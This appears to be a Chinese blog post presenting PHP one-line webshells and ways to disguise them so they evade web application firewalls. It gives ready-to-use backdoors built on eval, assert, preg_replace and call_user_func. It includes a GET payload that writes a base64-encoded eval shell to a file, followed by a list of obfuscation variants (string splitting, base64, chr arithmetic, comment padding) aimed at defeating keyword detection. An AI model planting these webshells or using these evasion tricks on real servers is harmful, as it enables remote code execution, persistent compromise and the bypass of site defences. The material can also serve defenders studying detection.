PHP一句话木马及绕waf思路

PHP一句话木马:
1 .eval():

<?php @eval($_POST['-7']); ?> 

eval函数将接受的字符串当做代码执行。
2.assert():

<?php  @assert ($_POST['-7']); ?>

assert函数将接受的字符串当做代码执行 。
3.preg_replace():

<?php @preg_replace("/abcd/e",$_POST['-7'],"abcdefg"); ?>  

preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行。

4.call_user_func():

<?php @call_user_func('eval',$_POST['-7']);  ?>   

函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数。
call_user_func_array(): 方法同上,只是第二个参数要是一个数组,作为第一个参数的参数。
5. 用GET函数就构成了木马;利用文件操作的方法构建payload:

<?php @$_GET[a]($_GET[b]);?>
?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

让一句话木马变形绕过 WAF:
WAF通常会以关键字判断是否为一句话木马,所以要将一句话木马变形使用,从而绕过 waf:

  1. php变量函数:
 <?php 
        $a = "assert";
        $a($_POST['-7']);
    ?>
  1. str_replace函数:
 <?php 
            $a = str_replace("b", "", "absbsbebrbt");
            $a($_POST['-7']);
        ?>

此函数用于将第三个参数中的第一个参数替换为第二个参数

  1. base64_decode 函数:
<?php 
    $a = base64_decode("YXNzZXJ0");
    $a($_POST['-7']);
?>
  1. 使用"."连接字符串:
<?php 
            $b = "a"."ss";
            $c = "er"."t";
            $a = $b.$c;
            $a($_POST['-7']);
?>
  1. pares_str函数:
<?php 
            $str = "a=assert";
            parse_str($str);/parse_str("a=assert");
            $a($_POST['-7']);
        ?>
  1. chr函数:
<?php
$a=range(1,200);$b=chr($a[96]).chr($a[114]).chr($a[114]).chr($a[100]).chr($a[113]).chr($a[115]);  
$b(${chr($a[94]).chr($a[79]).chr($a[78]).chr($a[82]).chr($a[83])}[chr($a[51])]);
?>
  1. 使用注释:
<?php 
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r"; 
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);
?>
  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

weixin_42299610

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值